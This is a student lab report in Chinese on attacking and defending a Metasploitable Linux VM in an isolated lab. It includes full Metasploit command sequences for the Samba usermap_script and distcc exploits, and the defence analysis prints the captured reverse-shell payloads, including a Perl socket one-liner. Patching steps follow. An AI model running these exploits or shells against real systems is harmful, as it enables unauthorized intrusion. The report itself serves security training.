linux操作系统安全防护
Linux系统攻防对抗实践
一、实践内容
-
在Metasploit渗透攻击框架软件中寻找一个针对Linux系统服务的渗透攻击模块，在网络安全攻防实验环境中部署有漏洞的环境（如渗透利用第三方网络服务，需要找到并安装存在特定漏洞的版本），并使用metasploit进行攻击。
-
攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机实施网络攻击，防御方则在Metasploitatble上使用Tcpdump或Wireshark或Snort工具捕获攻击流，并分析出攻击者利用了哪个安全漏洞进行攻击，从官方网站上下载该安全漏洞补丁进行系统修补，双方合作给出攻防过程报告。
二、实验环境
- 为了完成本次实验，我们部署了如下的实验环境。
- 攻守双方使用两台笔记本电脑，并将它们直连成为一个局域网。在攻守双方的笔记本电脑上部署Vmware Workstation软件，并分别建立攻击机、扫描机和防守机。其中攻方使用BackTrack4系统，并辅助使用WinXPattacker进行扫 描；守方使用Ubuntu 8.04－Metasploitable系统。
- 如下图，三台虚拟机使用Bridge方式联网，攻击机IP地址192.168.200.10，扫描机IP地址192.168.200.2；防守机IP地址192.168.200.11。
三、攻防实践过程
- 攻守双方首先将虚拟机启动起来，配置好网络环境并测试网络通畅后，攻守双发分别进行接下来的操作。
攻方过程
漏洞扫描及结果分析
- 为了确认防守方系统漏洞，攻方在扫描机上使用X-Scan3.3对防守机进行了一次全面漏洞扫描。
- 其中防守机开启的服务和具体的漏洞如下，
- 查看详细的扫描报告，可以得知该主机很多重要信息，
- a) 从139端口可以获取该系统主机名为“METASPLOITABLE”，注释“metasploitable server (Samba 3.0.20-Debian)”；
- b) 主机系统中存在许多用户，共35个，其中被禁止的33个，存活使用用户user、msfadmin；
- c) 系统存在弱口令，用户user、msfadmin密码与用户名一样，使用net use命令能够建立连接查看共享资源。ftp开放版本信息 ProFTPD 1.3.1 Server (Debian)，user这个用户在ftp中也可以使用；
- d) telnet服务开放，可确定该系统为Ubuntu 8.04，用户user、msfadmin可以登录，并获得相应权限。如果不存在弱口令，通过截获该telnet数据也能获取用户口令。
攻击方式选择
- 根据上面的分析结果，最简单的攻击方式就是通过telnet使用user或msfadmin用户登录即可，但这样的攻击并不是我们的实验目的，因此我们暂时忽略系统弱口令的问题，通过第三方软件的漏洞获取系统的控制权。
从上面的漏洞扫描可以看出，防守机的漏洞很多，我们可以使用SMB漏洞、distcc漏洞等进行攻击。因为SMB是Samba软件的服务，而Samba服 务是运行在root权限下，所以一旦攻击成功，将获得权限为root的shell。我们本次实验主要使用SMB漏洞进行攻击，并尝试使用distcc漏洞。
攻击入侵
- 完成了以上的分析，我们终于进入了今天的重头戏，攻击环节。
- 在命令行窗口输入命令
- msfconsole
- 将开启我们要使用的攻击工具：metasploit，如下图，
- 首先，我们使用SMB漏洞对防御机进行攻击，并设定payload为reverse（在没有防火墙的情况下，选择任意的shell payload都是可以的，本实验的payload是任意选取的），依次输入如下命令，使用SMB漏洞对防守机进行攻击，
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit
- 如下图，攻击后成功的获得了一个root权限的shell，攻击成功！
- 断开当前的连接，依次输入如下命令，使用distcc漏洞进行攻击。
back
use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit
如下图，攻击成功后出现一个可以使用的shell，但是没有root权限。
但继续输入命令时却没有反应，后证实是被防守方人为中断了。
为了使用更高权限的命令，我们需要root权限的shell。因此再次使用SMB漏洞进行攻击。在命令行下输入如下命令，
back
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit
- 然后在获得的shell中输入reboot命令，如下图，
- 这时，防守机系统重启了，攻击成功！
守方过程
- 防守机上观察到的攻击迹象
- 在防守机启动之后，立即使用如下命令抓取系统接收和发送的报文，并将结果保存到result.cap文件中。
sudo tcpdump –s 00 –w result.cap &
- 然后等待一段时间后，使用如下命令查看系统进程，
ps –e | more
- 发现数个可疑的telnet进程，后来证实其为攻击时使用的shell。如下图，
- 果断将telnet进程杀掉。但随后不久，收到一个来自用户root的消息，机器便重启了……
报文分析
- 为了弄清楚重启的真正原因。当机器重启之后，果断断网。导出抓取的报文文件，并使用wireshark进行分析。
- 简单的查看抓取到的报文，在短短的30分钟内，一共有128768个报文。如此巨量的报文中，绝大多数报文都是成片的同一种协议的报文，如下图，
因此可以断定，攻击机正在进行扫描，而真正的攻击应该在最后。从后向前查看报文内容发现，倒数第二条报文是一个TCP数据包，其中报文的内容是正是reboot！可以断定正是这条命令导致了系统重启。
经过对报文仔细的分析，可以确定的攻击有三次，分别如下图所示，其中攻击的漏洞和携带的攻击脚本分别为，
| 漏洞名称 | 相关网址 | 攻击脚本 | 执行的命令 |
|---|---|---|---|
| SMB漏洞 CVE-2007-2447 | http://www.samba.org/samba/security/CVE-2007-2447.html | nohup sh -c ‘(sleep 4495 | telnet 192.168.200.10 4444 |
| Distcc漏洞 CVE-2004-2687 | http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-2687 | perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.200.10:4444”);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’ | idusers |
| 同第一个 | 同第一个 | 同第一个 | idreboot |
漏洞修补
- 由于防守机是ubuntu系统，所以很容易将软件升级到最新版本。在命令行执行如下命令，
sudo apt-get update
sudo apt-get install samba
- 或者将相应的服务禁掉，
sudo /etc/init.d/samba stop
sudo /etc/init.d/distcc stop
- 但是升级distcc时会提示没有更新的版本，到其官网上下载最新版本，卸载旧版本并安装后可以修补漏洞。
四、攻防实践总结
实践中遇到问题和总结的经验，
- 攻方
- a) 漏洞选择，因为有文档指出Metasploitable靶机存在的漏洞，所以在这个方向上可以减少攻击过程中尝试的漏洞；
- b) 如果获得的shell权限不是root级别的，需要继续使用本地溢出进行提权，本人对这些漏洞信息掌握很少。
- 守方
- a) 抓取的报文数量巨大，从中找出有用的信息比较困难。
- b) 从攻击的过程中推测被利用的漏洞必须具备相当的背景知识，并且需要熟练运用搜索引擎和官方网站。
